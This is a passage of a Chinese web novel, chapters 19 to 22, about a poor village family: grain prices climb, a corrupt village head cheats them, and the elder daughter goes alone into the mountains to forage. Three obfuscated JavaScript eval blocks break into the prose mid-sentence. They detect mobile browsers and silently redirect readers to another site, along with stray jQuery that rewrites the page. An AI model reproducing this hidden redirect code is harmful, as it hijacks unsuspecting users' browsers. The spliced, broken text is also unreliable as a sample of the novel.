“乔冉安也实在不抵用了些，这还未曾到紧急关头呢……傅娘子那般性情便不是个能经事儿的，再摊上这心实的乔冉安，以后的日子可该怎么过？难不成尽将担子往家中小儿的身上撂？” 袁大娘暗暗为傅娘子不值的同时，紧步朝乔小遇的方向走来。 “遇丫头，日后可苦了你了。”袁大娘轻抚了抚乔小遇的面颊，随即轻吸了口气，将含糊不清的鼻音吞回腹中，才叮嘱道：“这是你娘上月里做针线应得的铜钱，你记得拿将回去给你娘收着，若有事也能救个紧急。” “大娘的铺子就要关了，余了一些碎布条和线团，左右我也不方便带着出远门，你便也一同拿回去与你娘，得空了给你们姊妹做几双新鞋……”袁大娘径直将竹篓子挂在乔小遇臂弯上，温和笑道。 竹篓子的份量过重，仿佛秋日里被红果子压弯了的枝头，不敢随风轻摆…… 乔小遇终是接下了。 离开裁缝铺子，乔小遇见她爹依旧怔着脸色，便是她开口相询些问题，乔冉安也答得牛头不对马嘴……乔小遇终只能无奈轻叹。 无法，她只能叫她爹在街边等她一会儿，顺便看着背篓，自己则亲自去了饭馆和几家收粮食的铺子问价钱。 当真似裁缝铺的袁大娘说的那般，不仅土豆，便连稻米、玉米面、豆粉等物都涨价了，好在小镇周边的村子多有出产这些东西的，是以涨价的幅度不算太高…… 便仅如此，这苗头已令人忧心忡忡了。 乔小遇再三谢过铺子里的伙计，只逢人问她要不要带些米粮回家，兴许过段时日价钱便会疯涨时，乔小遇的嗓音不由得支吾起来，“不用了……再过几日吧。” 她低眉思索片刻，示意拒绝的手臂却是停止了摆动，话音定定地补充道：“再过几日，我便来镇上换些稻米与我家小妹吃，她如今还在长身体，家里总得多备一些。” 19. 披狐狸皮 米店伙计听得这话，不由得抬起头来，但瞧着小姑娘那双似晨光般明媚的眼，嘴角轻勾起一抹温和的笑意，道：“那好，便等你下回带了闲钱再来。” 他原不过随口一问，只回头瞅见小姑娘局促不安的模样，心下很是怪责自己多嘴，才教人尴尬地站在柜台前，一时走也不是，离也不是…… 然而他如何也没有想到，眼前这个面色寡白的小姑娘的语气转而又是这般笃定。 店伙计终究只当乔小遇是为了逃开当下这尴尬的处境才说出此般话来…… 父女俩并未在小镇上多加逗留，便直接回村了。 走在路上时，乔小遇与乔冉安说起米粮之物如今的行价，虽瞧着乔冉安连连颔首，却也不知他究竟有没有记在心头，便直接道：“左右家里的土豆是不能卖了，还有猪仔的吃食，土豆和糙玉米皮也需少掺些。” “你说的是。”乔冉安念及家里那几头正得养膘的猪仔日后的吃食更需简单些了，心间滋味愈是惆怅，道：“那几头猪仔本就嘴刁，若是土豆和糙玉米皮都不放，只弄些绿猪草和苜蓿糠煮了与它，怕是要把猪食盆拱翻的。” 乔小遇有些哭笑不得，她还未将那些劝她爹将猪仔宰杀的话说出口呢，可她爹却还一门心思地想着把猪仔养胖…… “等再拖上几天，他们便会认命了。”乔小遇心中暗道：“即便家里有些夏粮，能供猪仔吃段时日，可当中消耗亦是肉眼可见。爹娘虽承不了事，但这点算盘应当会打吧。” 与去时不同，日光已将人影折转了个方向。只不论如何，模糊的光影总是自人脚下往归程的终点方向拉长开来的。 乔小遇试图踩着自己的身影走，仿佛是为了寻个乐子，好让自己分心……然她总踩不到那团晃动着的模糊光影，心情便不由得渐渐颓了下来。 乔冉安已定不住心神，刚回到家里喝了碗白开水后，便说要去地里帮着乔长田家做活，连今儿白间那些个住在里正家里的人是否有上门来收土豆的事都没想起来问乔小佩。 “爹，您的锄头还未带呢。”乔小遇见乔冉安行色匆匆，只背了篮子便要出门，连忙从偏屋里提了锄头追到院中。 “爹，我知道您等不及，只地里还有菜粉婶子一家子人在场，您与娘说起裁缝铺要关门的事时，自己先得稳下心来，袁大娘也是有难处的不是？”乔小遇一边细声说着，一边将她爹的篮子稍拉低了些，才把锄头放了进去。 乔冉安闻言微怔，迷蒙的眼紧睁了睁，似才得了几分清醒…… 为何到了这关头，他却还需要一个小孩子来提醒自己？ 乔冉安嘴角微涩，扭头对女儿说道：“爹知晓了，你放心，我定会与你娘好好说的。” “那爹慢走。”乔小遇抿唇轻道，心下也稍稍安定了些。 在她想来，若她方才并未提及菜粉婶子一家也在场的话，她爹娘是有那个本事在地头抱团痛哭的，好在他们是要面子的人。 女孩儿苍寡的脸上浮起一抹柔和的笑意，仿佛拖罗河水表面流涌翻起的白浪一般，下一息时的情状与前刻的终已不同。 比起当初，乔小遇对这双父母已少了许多怨责，并试着慢慢接受。既是无从选择的事，她便没得那心思在上头多磨，她所想着去挣扎着改变的，是当下家中所面临的情境。 “姐姐，爹爹这是怎么了？” 乔小遇回头看了眼情绪复杂莫名的妹妹，敛眉低声与妹妹说过镇上粮价的情况，旋才接着问道：“今儿白间收土豆的人上门来了么？” 乔小佩摊了摊手，面色微苦地道：“来是来了，不过嘛……那当中有人可是发了好大的脾气，话间竟像是咱家言而无信一般。” 乔小遇轻呵出口气，“竟还有这样的？那你怎么回的，别是与人说起我跟爹爹去镇上打听？” “我才不似乔丫丫那缺心眼的呢。” 乔小佩眨巴着眼，话音自得地道：“我与他们说了，咱家并没有允过要卖土豆与他们，倒别仗着人多就欺负我一个看家的小姑娘。内情如何昨儿傍晚何里正也是在场的，大可请了何里正来评说一番。” “似他们这张口便胡编乱造的，还住何里正家里，要吃要喝地让人紧供着，可教何里正的面子都丢光了。”乔小佩仿了她中午怼人的语气与她姐姐大致说过情形，随即犹豫着轻问道：“我这话是否又刻薄过了？” “不会。这事终归是何里正丢面子的。”乔小遇微微一笑，接着问道：“村里可有人家将土豆卖给了这些人？” “有是有的，只一来因着他们家里并没有将土豆全都收上来，二来，或许也是想再等等看看，所以卖的并不多。”乔小佩顿了顿语气，想起之前乔小遇的嘱咐，接着补充道：“对了，何家人并没有卖的。” “当真是个表里不一的浑人，可瞧着村里人猜着内情后，怎么看他一家子呢。”乔小遇轻啧了声，旋拉了妹妹的胳膊进屋详说。 “我中午时便应再刻薄些，怎还夸得何里正当真是个再公正不过的人呢？可话又说回来，我早早得知何里正与乔大闯家联手昧地的事，对他怎么还夸得出口来的？” 乔小佩气瘪着嘴道：“何里正那一家子可都是蒙了层狐狸皮的人，村里受骗的人家，可不见得就相信何里正与那些从外县过来收土豆的人相互勾结。” “是啊……”乔小遇略显无奈的话音稍稍拖长了些，道：“只田里的泥鳅虽然难抓，却终究会成为饭桌上的一道美味，何里正的狐狸皮虽也不好扒，却并不妨碍村里人把这茬事记下来。” “那几个外县来的人……若他们还有些‘机灵劲儿’，便应快些与何里正数清银钱，拉了那几车收得的土豆回去，否则便由着村里人将他们的腿打折了，看他们怎么回！” 乔小遇讥俏出声，琥珀色的眸间浮上了一股莫名的情绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924348|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她猜着这件事很快便会在村里宣扬开来，即便话风是从她爹口中传出来的，但承了这名目的人只能是乔长田一家…… 且看人往何处思量，这当中有好有坏。好的是，能在村民口中得个好名声，村民们也乐于释出一定的善意；坏的是，此番免不了被何家人记恨上，似她家中这般本就独木难支的情形，这名目便不能担了。 “我都就担心娘那一张快嘴，等不得何里正那身狐狸皮被剥落，她就满村子嚷嚷着将名目往咱家身上套……回头我可得与娘细说一说。” 乔小遇缓缓地摇了摇头，叹声道：“若家中有出息的兄弟能够倚仗，那何里正又怎敢生了副恶胆，领了不相识的人来坑咱家！可真是专寻软柿子捏了……” “谁让我没有个弟弟或者哥哥。”乔小佩给她姐倒了一碗白开水，但听着乔小遇这般叹言，嘀咕道：“倒难怪娘打你和宝树哥的主意了。” 乔小遇轻笑，道：“这你是如何看出来的？娘莫不是想着招婿入赘那一套罢？” “前几日里分拣土豆时，娘私下里与我乱说的。”年岁尚小的乔小佩终究从傅娘子那里听了一口，入耳之后入心，但她却并不将这当真。 对乔小佩而言，可能过几日她便会将此事抛于脑后了。更为重要的是，她并不希望她娘的心愿给乔小遇带来压力。 乔小佩于是做讪讪状，轻声道：“姐姐，就算娘存了这意思，你却也不能当真啊！倒什么事都往自己身上揽，这可算怎么一回事哩。” “我没有当真。”乔小遇放柔了嗓音，淡笑道：“且就算娘存了这心思，家中生变时她忍不住随口一提，那也不代表什么。我的亲事虽是她和爹爹定，可最终能结上一门怎样的亲事，却还得看对方的意思。娘这一头热，终归是没有用的。” 乔小遇神色轻敛，定定的话音打消了妹妹的疑虑，却不知这话也是她说给自己听的。 …… 夜色还未来得及将各家房瓦上的青烟笼罩而进，月盘便已从山壑里爬将出来，与悬在空中的云雾争相戏逐。 清凉的银光毫不吝啬地从秋空中洒落，穿过嶙峋绞缠的树枝，碎落在宽阔的河水中，亦或是轻铺在斜陡的屋檐上。 可瞧着是再清闲雅静不过的景象了，然而小院中的气氛却是凝滞与嘈杂的，而这种气氛在乔小遇姐妹俩看来是十分平常的。 傅娘子斜瞅着乔冉安，掩鼻说道：“你那烟叶闻着实在呛人，可能去别处咂去？” “这你都要管？我忙活了一天，累得直想趴在地上，怎咂两口烟你也有得说的？”乔冉安的语气难得不满，只他到底不敢将这话吼得太大声，终还是一副唯唯诺诺的样子。 “你朝我撒什么气？敢情这家里便只有你一个人忙里忙外不成？”傅娘子神色一板，咬牙气哼道：“竟还冲我发火，可见你的本事越来越大了，乔家村里那些暗骂你怂包的人可当真是瞎眼……” 20. 借牛抄地 “你说话怎说得这般过分？”乔冉安面色骤冷，原靠着墙壁的上身微挣着想站将起来，却不妨鞋底下一个踉跄，重新摔了抵回墙壁。 “爹爹娘亲不要吵了。”乔小佩嘴巴轻瘪，圆溜溜的小眼中带了湿意，仿佛下一刻间便要掉出泪来。一旁的乔小遇轻轻地摇了摇头……这情状于她而言已算是见怪不怪了，只常日看着，心头的疲惫感总会愈来愈重的。 “娘，您可能好言好语地爹爹商量呢？”乔小遇伸手将妹妹揽入怀中，道：“只怕这场牛疫已经无法避免，家里还需早做打算才是。” “有什么好商量的？你可瞧出你爹是个能拿主意的人？”傅娘子朝乔冉安瞪了一眼，只心头酸楚几又紧抑不住，忙偏侧过脸去。 “左右家里的土豆得留着了……”乔小遇话音微顿，紧接着道：“明儿若是收土豆的人亲自上门来问，爹娘是否要借口避开？” 傅娘子止了低啜声，道：“你长田叔已然打算出面，且跟家里的几个兄弟商量好了，明儿一早就去里正家里堵人，说是要给村里人一个交待。如此，我与你爹倒谈不上避与不避。” “本以为他家实在犯不着掺和，可你长田叔就是拄节拐杖也要去，真是生了好一副闲心。既然他家中有事不使牛，我便向人借了，想着把地皮抄上一遍，瞧瞧能不能再捡出两篮子土豆来。” 话及此处，傅娘子不由得苦涩一笑，道：“幸是娘对苜蓿和肥田萝卜的种子发霉损坏的情形后知后觉，这土豆都挖起来好几天了，种子还未撒下去……” “若已经撒了种子，我与你爹才舍不得抄地呢，便是里头掉了一牛车的土豆，我也不为所动，这不是凭白找累么。”傅娘子轻哼出声。 不为所动？乔小遇明晓她娘的心思…… 需知，若饥荒紧随而来，饿得发狠的人是尽能将草根都给刨了出来啃吃的，家中要真到了米粮断绝之境，傅娘子又怎会因为舍不得那些在地头种着的肥田萝卜和苜蓿藤而不打算重新翻过土地？ 傅娘子这是在暗暗嘲弄，连同她口中那句所谓的“平白受累”的话，亦只是为了刺乔冉安。 乔冉安的身子骨一直不好，便打从娘胎里出来后，家里好几次都差些被他的病拖垮——这是乔冉安得了父母兄弟的嫉恨的缘由，然今遭傅娘子对他心存怨怼，便少不得拿了这种话刺他。 乔冉安心里憋屈得紧，可即便身上如何苦痛，却也不敢在傅娘子跟前提说了。 终究只怪他太过无用，而他的沉默又使傅娘子将心头的火气重新憋了回去…… 与从前争吵的情形一般，缓过神来的傅娘子即便意识到自己的所言所行十分伤人，她也从来不必对乔冉安说句抱歉，因为乔冉安学了乌龟缩会儿头后，对她便又如平日里一般好。 “这人怎才随便说了两句便就闷着不说话了？可真是根木头！”傅娘子余光瞥过乔冉安轻将烟锅放在石坎上磕灭火星的动作，嘴巴紧抿成了一条线。 傅娘子复又垂下头来，仔细拾掇着竹篓子里的布片，默然片刻后终才道：“就着这些布片，除了可以给你爹做双鞋子，另还可以做上两双……” 难得傅娘子主动示好…… 乔冉安闻言不由得怔怔抬眼，旋即憨实一笑，而方才那些紧憋于心的苦闷之感竟已一扫而空。 “袁大娘是个有心人，特地留了两块浅色布料，是想让我给你们姊妹俩镶个好看的的鞋面呢。”傅娘子好面子地避开乔冉安的视线，轻叹道。 “娘的意思是，我也可以有一双？”乔小佩闻言，眼神微亮。 “怎么，是不是总穿你姐姐的旧衣旧鞋穿得烦了？”傅娘子敛眉轻笑，面上难得添了一抹和悦之色，“成，那今年便给你做一双。” “太好了。”乔小佩忍不住兴奋抚掌，只接着又连忙对她姐吐了吐舌，道：“我倒也不是穿烦了姐姐留下来的旧衣裳，只到了我这里从来便见不着新衣新袜，有些不过瘾罢了。” 一家人均忍不住呵笑出声。 其实傅娘子心里清楚，便是家里再赶着牛把那两块坡地再抄上几遍，也不见得能捡起多少土豆来。 当初虽依着女儿的建议加快了些进度，但她与乔冉安做活依旧很细致，再使牛去抄地，不过是犯了紧抠的毛病，心下想不出什么生财之计，便只能将目光投向家里的几亩薄田…… 乔小遇只静听着她娘的那些“老调重弹”，比如让乔冉安再去与几个叔伯家商量商量，以求着能拿回几亩应得的土地，再比如何里正那厮已被猪油蒙了心，便是把家中分地不均的事闹到他那里去，何里正也只会含混着将人打发回来…… 而此番她爹除了以兄友弟恭的说辞应对傅娘子，竟还另说出了一些实在话。 “这会儿地里的稻子还没到割的时候，我便是过去提说，几个哥弟家也是不愿意的。再之后，各家日子都过得紧巴巴，我又怎么好意思提？” 傅娘子瘪了瘪嘴，心晓乔冉安是横竖都不愿意去问…… 也是，那几个弟兄又不是傻子，谁愿意将田地拱手让人？何况她家里已经沉默了这许多年，这地界上下四方丈量到哪儿，早就成了件彼此默认的事。 她家若是在这个当口上说事，可不妨几个叔伯家反泼一盆脏水过来，倒让她与乔冉安成了那不知好歹的人。 怂了不成事，想着狠一把却也前后顾虑…… 乔小遇知道，眼下家里人的心思便似一根浸在水潭里的腐木般将沉未沉，只怕等他们将坡地抄过后，自以为再看不到出路，这腐木也就到了沉潭的地步。 “总要寻个出路来的……”乔小遇但垂眸瞧着那枕着自己肩膀打瞌睡的妹妹，便在梦中也依然紧拧了眉的情形，不禁抿了抿唇。 翌日，天刚蒙亮，坐落在拖罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924349|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河上游的乔冉安家已燃起了袅袅炊烟。 应过傅娘子的使唤，乔小遇来到了乔长田家里牵牛。 原靠在火炉边上打盹的乔宝树见是她亲自来，紧忙将呵欠憋了回去，直激得眼眶里汪满泪水。 “怎么是你来牵牛呢？”乔宝树出声相询，脸皮亦不自觉地发烫。他轻吸了口气，尽量使自己的话音变得平稳些，才道：“这两天大黄牛的脾气可是暴躁得很……还是我帮你牵回去吧。” “没事的，从前家里犁地耕种时常是我在前头拉牛绳，大黄牛应该很熟悉我才是。”乔小遇轻笑着摆了摆手，只旋即却才反应过来，她方才这话实在太拂乔冉安的面子…… 这村里上上下下，便没有哪家男主人不会使牛的，可她爹于这行实在不通，驱牛犁地时便是将嗓子都喊破了，那牛还是会横七竖八地在地头乱窜，是以总要有人在前头拉着牛鼻子才行——犁地尚且如此，春耕点种时便只能另请人来帮忙了。 “好在爹爹未曾跟来。”乔小遇心下暗叹着，神情略显尴尬。 “我可不是跟你开玩笑话。昨晚我去给大黄牛喂草时，凑上前来拱草的猪仔竟被大黄牛一蹄猛踢，翻倒在了地上，挣揣了好久才爬起来的……这事我到现在都不敢告诉我娘呢。”乔宝树认真地道。 乔小遇凝眉听完，心头所念却与乔宝树不同，惊讶地问道：“你家什么时候把牛拉到猪圈里拴着了？” “这不前几天时我家牛圈的门坏了么。”乔宝树耸了耸肩，“我只听过鸡狗不同窝，没想这大黄牛和猪仔也处不到一块儿去。” “重点不在这处。如今牛疫频发，你家怎还这般心大？猪圈里到处都是猪粪，潮得不行，可不是垫一层松毛便能了事的。”乔小遇心下微急，道：“还是快些把牛圈门修好了，把牛牵回去。” 乔宝树难得见她用这般郑重的语气与自己说话，面上笑意微凝片刻后复又泛上，连连点头道：“你且放心吧，今儿下午我便拉了我长水叔一块儿修。” “那便好。”乔小遇的呼吸稍松了松，见乔宝树爹娘均不在家，心知他们应当是去里正家里堵人了，便问乔宝树道：“何里正家那边的事，你不去看看热闹么？” “这不是得了爹爹的吩咐，在家等你过来牵牛嘛。”走在前头领路的乔宝树紧搓了搓手指，回头笑问道：“你不去凑凑热闹？” “不了……”乔小遇淡淡地摇了摇头，道：“家里还有一堆事呢，我爹娘赶着去地里，我得先牵了牛回去，让它吃点草料再去抄地。” “草料我已经喂过了的。”乔宝树将牛从猪圈里牵了出来，对乔小遇扬了扬眉，轻笑道：“你若回家去再喂，这大黄牛可还未做活便已撑坏了呢。” 但瞧着少年那般欣然自得的模样，乔小遇眉眼处的神色不由得一阵轻滞，道：“哪有我家借牛使，你还事先把牛喂饱了的道理？” 21. 离家进山 不过一盆草料罢了，也不是多大的事，乔小遇倒何必分得这般清楚？ 乔宝树被乔小遇这话一堵，旋又想到长水叔私下里与自己说起的那些话，一时不由得紧蹙了眉，“娘便是因着小遇家里的情形，才……” 乔宝树心下暗叹了口气，话音轻缓地对乔小遇说道：“这是我娘的意思，小遇你不必觉着过意不去。再说，你家这阵子可帮了我家不少的忙……” 乔小遇扬脸浅笑，道：“以后别这样了……” “好。”乔宝树应这话时，嗓音有几分闷哑，而他接着便把头偏侧了过去，装出一副无甚所谓的模样，呵笑道：“我回头会与我娘说的，只她愿不愿意听，我可就没办法了。” 少年心思渐沉，似因着秋日来临，他的眸子也同村前那条流淌着的拖罗河水一般，多了几分清澈明净。他知道娘古道热肠，可心里是极不愿意与乔冉安一家结亲的，所以那份待人的好，便刻意带了一种怜悯与施舍——这才是乔小遇介意的地方。 无法、索性——乔宝树只能装作看不出他娘的意图，试图把这种“刻意”往别处说开去，并希望乔小遇不要如他这般多想。 他还是执意帮着乔小遇将牛牵了过去。 傅娘子正在偏屋门口收篮子，但瞧着是乔宝树亲自牵牛过来，连忙收了口中那些对乔冉安的碎叨话，笑着对乔宝树招了招手。 “你先回去吧。”乔小遇侧头对乔宝树说道，接着便进伙房寻水瓢，似乎并未在意到乔宝树被她尴尬地晾在了原地的情形…… 乔宝树挠了挠头，面上依旧挂着与平日里一般的嘻笑神情，热情地与乔冉安夫妻俩打过招呼后，方才悻悻离开，而这厢名上说是寻水瓢的乔小遇，却是缩在了伙房里好一会儿才出去。 到如今，傅娘子心头那股想要与乔长田家里结亲的念头似又变得热切起来，这令乔小遇有些尴尬与不适。 只连刘菜粉并不好得将心头的想法尽数告知傅娘子，只能隐晦提醒傅娘子“知难而退”，乔小遇又怎见得能寻着一个合适的机会，让她娘彻底断了这念想呢？终是不愿伤人。 …… 乔冉安夫妻俩把家私收好之后便出了门，而乔小遇姐妹俩则得了叮嘱，需将前些日子受潮的被褥晒了。 “小佩，我这便去拿被褥晒，你且拿了抹布来将竹竿擦擦。”乔小遇见爹娘已经走远，偏头对妹妹吩咐道。 “啊？可这日头还不热，咱们中午再拿出来晒吧。”乔小佩苦巴了脸，接着摊手道：“我这可不是存心要躲懒来着……” “我知道。只若我现下不帮你，你回头自己一个人晾被子，怎么够得着那竹竿？” 乔小佩听着她姐淡淡的话音，有些奇怪地问道：“你要去哪儿？” 乔小遇抑下心头的那抹苦涩之感，扬了扬唇角道：“这日头已晒了好几天，我想去大坪山那边一趟，看能不能寻到些菌子什么的。若运气好的话，还能逮到只野兔也说不定。” 乔小佩忙道：“那我也去！逮兔子最好是两个人合围了赶才顶用的，你一个人去，就算是见着了兔影子，怕也摸不着兔尾巴。” 瞧着妹妹那一脸兴奋的模样，乔小遇不由得伸手轻揪了揪妹妹的鼻子，微微俯身道：“你才多大呢，就说能帮着赶兔子？再说我们都走了谁来看家？你怕是存了上山玩耍的心思吧。” “这……”乔小佩被她姐说中，斜侧了看朝地面的小脸是一副怏怏神色。 乔小遇轻笑着抚摸了下妹妹的头顶，接着折身进了伙房，将绳子、锄头等物什拾进了篮子里，才对妹妹招呼道：“你愣着干什么呢？还不快去擦竹竿？” 乔小佩似才回过神来，扭头看向她姐的方向。 “姐姐，之前怎未听你说起要去大坪山的话？”她脚下未动，只抿唇轻问道。 闻言，乔小遇方欲进屋去搬被褥的动作不由得顿了下来，心思浮动间，想尽快寻个说辞出来。 “我瞧你收拾东西，似乎早有准备……”乔小佩又接着道。 乔小遇轻轻回头，但瞧着站在光亮处的妹妹，额间细发被映照得黄生生的，仿佛一株长在皲裂地表上的菜苗般，竟存了一种即将枯萎的脆弱感。 乔小遇的眼睛便不由得一阵酸热。 “这不是因为担心爹娘不给去嘛……”乔小遇狡黠一笑，为使妹妹安心，面上故作出一副淡淡的样子，接着又似想到了什么一般，道：“让你知晓也好，若回头爹娘问起，你也好得应话不是？” “我是铁了心要抓几只兔子回来的，所以这程至少也得要耽搁上两天才能回来。你便乖乖在家等我，知道么？” “什么，你竟然要去两天？那不就是在山上过夜了么？”乔小佩惊呼出声，想及她姐方才似想着尽瞒而离的情形，心下微急，连忙跑过来抓住乔小遇的胳膊，泣声道：“我不让你去！” “这没什么的，从前我不也有半夜带了你起床，去山上采菌子的时候么？”乔小遇轻拍了拍妹妹的小脸，将她的小手从衣袖上扒下来放在手中拢着，柔声说道：“我与你说这事，便是不想让你多想，若转头爹娘问起，你难道也如现在这般哭啼？这不是让爹娘做无谓的担心么？” 她用拇指轻轻抹去妹妹的眼泪，接着道：“你是知道如今家里的情况的，所以我不得不上山一趟。若是什么也寻不着，我便也丧着脸回来了，但你应当也不愿看到我空手而归的样子吧？” 至此，乔小佩终才明白她姐为何上山…… 鼻腔里的低啜声似已被止住，只泪滴依旧簌簌而落，乔小佩迎上她姐那双似秋日般和暖的眸子，终只得嘤咛出声：“那你要快些回来，若不曾寻到什么东西，那也无妨……左右爹娘会想法子的。” “好。”乔小遇点头允过。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924350|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不仅乔小遇，便是补充了那句“左右爹娘会想法子的”话的乔小佩，心里都很清楚，这种“左右”究竟意味着什么。“左右”有所倚靠、有所指望，可这种“左右”并非一种假设，遑论笃定？ 乔冉安与傅娘子已尽力挑起家中的担子，便且不提他们是否觉着过精疲力尽，也不提这担子他们究竟能够负承到何时，看似生活在父母庇护下的乔小遇姐妹俩却很少得过几分安定之感。 是以此番乔小佩虽觉着心中作苦，但她却不再出言相劝，只盼着乔小遇能够早些回家，也不要在山上冻着之类…… 而乔小遇没有告诉妹妹的是，她要去的地方并不是大坪山，而是野山林，且来回便要花去两日路程。她终究担心妹妹多想，且自以为等她寻得些野物回家，爹娘因焦虑而泛生的责骂也会消减些。 此时的乔小遇并未想到，在她离家后的几日时光里，乔冉安夫妻俩虽存了焦虑，可这焦虑的主要源头却并非为她，而待她归家后，她爹娘亦不曾对她出言责骂。 这些都是后话了，且说说乔小遇进山的情形。 这日，女孩儿直沿着拖罗河的上游方向走，而因着她身体孱弱的缘故，路上走走停停，到达野山林的外围时，天色已暮。 目及处，连绵的针叶松林汇成滩滩墨绿画汁，尽情地从峰峦顶处泼洒至沟壑深渊，羞涩遮掩的斜阳余晖则像极了一支蘸过姜黄之色的画笔，细细地为山峰勾勒出亮眼的轮廓，无甚遗漏，却也未显出半分刻意感。 “夜里还是不要出去为好……”乔小遇探向远处的视线微凝，随即折身钻进了松林里。 她在野山林外围的一处向阳的山坡上寻到一个宽敞的山洞，在确认四周不曾有什么潮湿的动物粪便后，终稍稍安心，提了镰刀捡了许多干柴来。 等天色见黑时，乔小遇这才将柴火点燃，将她带来的几个土豆丢进里头烧着。 瞥了眼篮子里所余下的十来个土豆，乔小遇不由得轻叹了口气，嗤笑道：“希望明天能寻到些新鲜果子，不然就得饿肚子了……” 因不想让妹妹多存疑虑，乔小遇此番带的土豆并不多。只这般一来，饥饿感便会在无形当中紧迫着她——明日定要寻到些能吃的东西才好。 “只初秋时节野果子多是涩的……”乔小遇轻轻摇头，旋拿了根柴火棍将土豆扒了个出来，试着用指甲掐了掐皮，看看熟没熟…… “哎哟！” 不妨被烫，乔小遇下意识轻呼出声，连忙将指尖摸放到耳垂处，这才得缓了缓。 “竟烧得这样熟了。”女孩儿嘴角泛起一抹欣喜之色，而方才那股被烫的痛楚似乎不曾有过。 紧巴了眼，便是剥个土豆皮，她的神情也显得十分专注。小心避着，只她的双手还是被染得黑糊糊的，土豆也是如此，乔小遇只能安慰自己“不干不净，吃了没病”，三两下便将几个土豆吞吃进腹中。 22. 织篓摸|蚌 山风微凉，乔小遇想了片刻，从篮子里拿了小罐出来，用几根稍粗的木头架了，将余下的水烧热喝下，才觉得周身暖和了些。 “瞧着山脚下有条小溪，明早可有接水的地方了，只担心路不好走。”随手往火堆里添了几根木柴，但听着柴火“噼里”的爆裂声，乔小遇沉吟道。 “倒不知那小溪里是否能寻得几条鱼？”念及此处，乔小遇环顾了下四周，见右侧边的石缝脚下竟长了大丛的虎头草，脸上不由得泛起一抹柔和的笑容。 她拿镰刀割了一把虎头草，旋即坐回火边，就着火光编起草篓来。 乔小遇自然不是一个篾匠，但她还记得前世里她在乡村学校里度过的岁月——每当下课铃声敲响，她与几个要好的同伴便会去学校旁边的水潭里扯一种叫做破媒草的草杆子，拿了做小草篓子玩。 虽然那小草篓子不过能容下几粒小抓石子，多数时候也不过是编了挂在布书包上的小装饰，可孩子们却总是乐此不疲…… 此刻在乔小遇指尖缠绕着的，是与人身量齐平的虎头草。她的动作依旧很熟练，仿佛那些记忆从未在她的脑海中消退过，且这回为了让草篓结实些，她特意多叠了几根虎头草上去。 草篓子很快成型…… 乔小遇但瞧着手头这个篓身被折成了两道四方的草筐，面上笑意愈发明显了，“若真的有蠢鱼被赶进这篓子里，倒不论它怎么翻腾，也是难得出来了。” 她暂不打算往山林深处走，到底她对此间环境并不熟悉，总还是要小心些才好。且村中猎户已多年不曾到过野山林这边打猎，人们关于野山林的描述便定格在了从前的种种记忆之中…… 当然，令人们印象最为深刻的记忆，还属当年那只凶猛的花豹子突然袭击村里的事。思绪偏至此处，直令乔小遇的后脊泛起了一层鸡皮疙瘩……她连忙甩了甩头，圈住腿膝的手臂不由得收紧，一边将身体挪得与火堆靠近了些。 乔小遇本以为出门在外，自己夜里会睡得警醒些，哪曾想身体烤暖乎了，白间行路的疲累感径直从脚底板处涌上来，倒让她睡沉了过去。 待旭日出升，乔小遇迷蒙着睁开眼来时，但瞧见跟前那堆已无几分余温存留的灰烬，不禁沉声自嘲道：“可见这处山洞是安全的……只以后万不可大意了。” 缓步走至洞口，乔小遇缓缓地伸了个懒腰，澄澈的目光掠向山脚下那条弯弯折折，偶有几处还被绿丛遮掩而住的小溪，心头渐有一种清甜鲜活的感觉弥漫开来。 下山的路并不易行，乔小遇虽留意到林子里有条陡径，可到底这地方已多年不曾有人来过，陡径已几乎被杜鹃花丛与酒瓶花丛遮住…… 便是她勉强挤身下山，可想用小罐装些水回山洞怕是难了。无法，乔小遇只得多绕了些弯路，若实在遇着非直行不可的地方，便只好用镰刀将荆棘丛砍开来…… 为此她也算是耽搁了许久，而待她行至水边时，但回头瞥了眼身后的山，目之所见便只有茂林密丛，以及一层铺得厚乎乎的黄松毛……至于山洞所在处，她却是瞧不见了。 “好在我方才下山时特地做了一些标记，回去时也不用再兜圈子。”乔小遇扬了扬脸，话音里当不止是庆幸的意味，亦还隐了一股得意劲儿。 清冽明净的溪水潺潺流着，偶尔裹挟了几片枯黄的树叶淌下，却在遇着石缝的地方将黄叶打沉在下方的水潭里…… 乔小遇但瞧着水潭里咕噜噜地翻起了四五个泡，枯叶才得以漂浮起来，继续向前淌流，便不由得替那枯叶祈念，可望着前头没有什么草荆阻了它的去路…… 因瞧着溪边没有路可走，只能沿水而上，乔小遇索性将鞋子脱下，扔在篮子里头背着，接着卷起裤腿，从旁捡了一根干树枝杵着踩入水中。 